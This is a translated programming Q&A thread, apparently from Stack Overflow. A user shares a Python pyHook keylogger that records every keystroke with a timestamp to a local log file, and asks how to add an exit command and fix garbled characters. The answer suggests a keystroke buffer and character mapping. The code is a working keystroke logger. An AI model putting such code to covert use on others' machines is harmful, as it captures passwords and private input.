在Python中创建快捷键命令

0 投票
1 回答
934 浏览
提问于 2025-04-16 02:31

我正在根据网上找到的一个脚本写一个简单的键盘记录器。不过,我想写一个键盘命令,让这个记录器程序在输入这个命令时关闭。我该怎么做呢?(我知道这个程序一点安全性都没有,但这对我来说不是问题)

比如说,按下 Ctrl + 'exit' 就可以关闭程序。

另外,它有时候在生成的 .log 文件中不能正确打印某些字符,这可能是什么原因呢?(我觉得字符编码类型可能是造成这个问题的原因)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

顺便说一下,这个是在 Windows 7 上运行的。

1 个回答

0

如果你想通过某个命令,比如说“quit”,让它关闭……你需要创建一个缓冲区……如果你把所有的记录都放在这个缓冲区里,你就可以很方便地做到

buff += newkeypress
if "quit" in buff[-4:]:
    logfile.close()
    sys.exit(0)

或者你可以用列表来做一些像添加/删除的操作……或者用其他类型的循环缓冲区

对于一些奇怪的字符,你可能会想把整个内容以十六进制的形式打印出来……或者忽略那些小于ASCII 0的事件(比如\b和其他奇怪的字符)

或者……你可以制作一个ASCII表(字典),记录每个键的匹配情况,比如如果你得到\b就记录'',如果得到'0'就记录'0'

撰写回答